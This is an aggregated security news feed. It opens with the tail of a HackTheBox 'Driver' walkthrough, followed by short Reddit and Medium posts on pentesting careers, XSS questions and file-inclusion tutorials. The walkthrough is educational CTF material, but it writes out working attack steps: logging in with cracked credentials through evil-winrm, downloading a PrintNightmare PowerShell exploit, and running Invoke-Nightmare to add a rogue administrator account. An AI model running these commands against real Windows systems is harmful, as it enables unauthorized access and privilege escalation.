he ripper using the rockyou dictionary file. We see a cracked credential “liltony”

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1

Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.
gem install evil-winrm
evil-winrm -i 10.129.32.68 -u tony -p liltony
cd ..\Desktop
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.
wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1

We can use the upload feature in evil-winrm to put this file on our box and then run it.
upload /root/winpeasx64.exe
.\winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1

In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1

Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1

Reading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.
wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1

Further, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1

We can confirm the exploit’s working by checking the new user’s existence in the server by using the net us[...]

er command.
net user
net user aarti
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png?w=640&ssl=1

Finally, we can user evil-winrm again to connect to the machine and snag our root flag.
evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987
cd c:\users\administrator\desktop
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png?w=640&ssl=1

Conclusion

Driver box on HackTheBox platform is a good beginner-friendly Windows box that teaches the basics of exploitation using a server-side file execution vulnerability and then privileges escalation using a very famous printer driver vulnerability. Thanks for reading.

Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn

The post Driver HackTheBox Walkthrough appeared first on Hacking Articles.

Question about finding vulnerable JS plugins config versions, etc.
https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/

<!-- SC_OFF -->Hi, I am an intern for pentest and just starting out. I never had formal IT/Computer Science background and only done pentest bootcamps and a company was willing to hire me as an intern. I would like to ask something about web applications. I was using BurpSuite and came up with a vulnerable version of bootstrap 4.0.0: Upon checking it is vulnerable to XSS: Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in data-template, data-content and data-title properties of tooltip/popover. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip, collapse and scrollspy plugins. After crawling the whole website, I tried filtering data-template, tooltip, etc. but most of them are in .js files. I would like to ask how can I test for vulnerabilities and how can I spot which js config/ plugin is being used. Thanks! <!-- SC_ON --> submitted by /u/desecratedhuman (https://www.reddit.com/user/desecratedhuman)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/)

Looking for Pentesting in the PDX area
https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/

<!-- SC_OFF -->I am an IT Manager for a company and I have to have a PenTest for my org each year. Very simple setup with 3 sights locally. Any recommendations? <!-- SC_ON --> submitted by /u/Luxtaposition (https://www.reddit.com/user/Luxtaposition)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/)

Hacking on Medium
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero

https://cdn-images-1.medium.com/max/1200/0*du4_D8tDoxXvJlp4.jpg
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.

Continue reading on InfoSec Write-ups »

Hacking on Medium
Vulnerability Analysis — Finding weakness and Exploiting them.

https://cdn-images-1.medium.com/max/2600/1*mkMiC6mVVgx1-YKhfZ5Bnw.png
A vulnerability assessment is a systematic review of security weaknesses in a networked system. It evaluates if the system is susceptible…

Continue reading on Medium »

How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero

In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups »
Read more...

How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5

In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5)

Business logic vulnerabilities
https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/

<!-- SC_OFF -->Hi Guys, I consider myself bellow average when it comes to find Business logic vulnerabilities, and I want to improve in it. how do you deal with this kind of vulnerabilities?, what advises would you give to move forward? <!-- SC_ON --> submitted by /u/Abofouad (https://www.reddit.com/user/Abofouad)
[link] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/) [comments] (https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/)

hacking: security in practice
Got an esp32 working as a Rubber Ducky but cheaper and with wifi (and in the future, bluetooth too)! And it still keeps the standard USB size format.

https://external-preview.redd.it/ZUlNNKO6w7qsiGHKm2ht72IJUwQfnRf8XtqkonUWIig.jpg?width=640&crop=smart&auto=webp&s=0886f26f887b433a9e7037c27eaf054d30a3d715 submitted by /u/LockManipulator
[link] [comments]

https://b.thumbs.redditmedia.com/is7FFBX5Nb-AJXr7f-TrdY6HVPGaeg_Fh1hbeVvj-RA.jpg Also, in case there is no way to refund it, any suggestions how to fix it?

​

https://preview.redd.it/3vcb03r46y5a1.jpg?width=1024&format=pjpg&auto=webp&s=e9df2f6e636ee496b15714f8da320d5101b01597

submitted by /u/Blicked33
[link] [comments]

hacking: security in practice
Any suggestion on data recovery software on protected .zip (file's contents unencrypted)?

I have an album zipped with a passcode, and the file's contents are all unencrypted. I have too many hours already trying JohnRipper / Hashcat, but I wasn't able to get them working properly.

I was wondering if using data recovery software is a possible option. Any anyone tried this?
Any advice or recommendation would be greatly appreciated.

submitted by /u/dream996
[link] [comments]

hacking: security in practice
Experts Warn ChatGPT Could Democratize Cybercrime

https://external-preview.redd.it/wi6Ch1uSljkDjW1qNe8quXsLugLNGQKI8w2mB5sGs6Y.jpg?width=216&crop=smart&auto=webp&s=7e79e3c58c51803367931948af1d234d7fbd4b54 submitted by /u/Prunestand
[link] [comments]

How much time do you get for training at work?
https://www.reddit.com/r/Pentesting/comments/zm8dqp/how_much_time_do_you_get_for_training_at_work/

<!-- SC_OFF -->Hi everyone, I am currently a security consultant / penetration tester at a security consultancy. Now I’m wondering how training / up skilling works at your current company or previous ones. Right now I effectively only am given time to train when there is gaps on my schedule where there is no client work. I want to suggest some ideas to my employer because currently I have had zero time to train for the last 3 months it’s just been job after job non stop, and I’m feeling pretty exhausted and burnt out. Is this considered normal? I want to hear other peoples experiences. Thanks :) <!-- SC_ON --> submitted by /u/DarkInnerSelf (https://www.reddit.com/user/DarkInnerSelf)
[link] (https://www.reddit.com/r/Pentesting/comments/zm8dqp/how_much_time_do_you_get_for_training_at_work/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm8dqp/how_much_time_do_you_get_for_training_at_work/)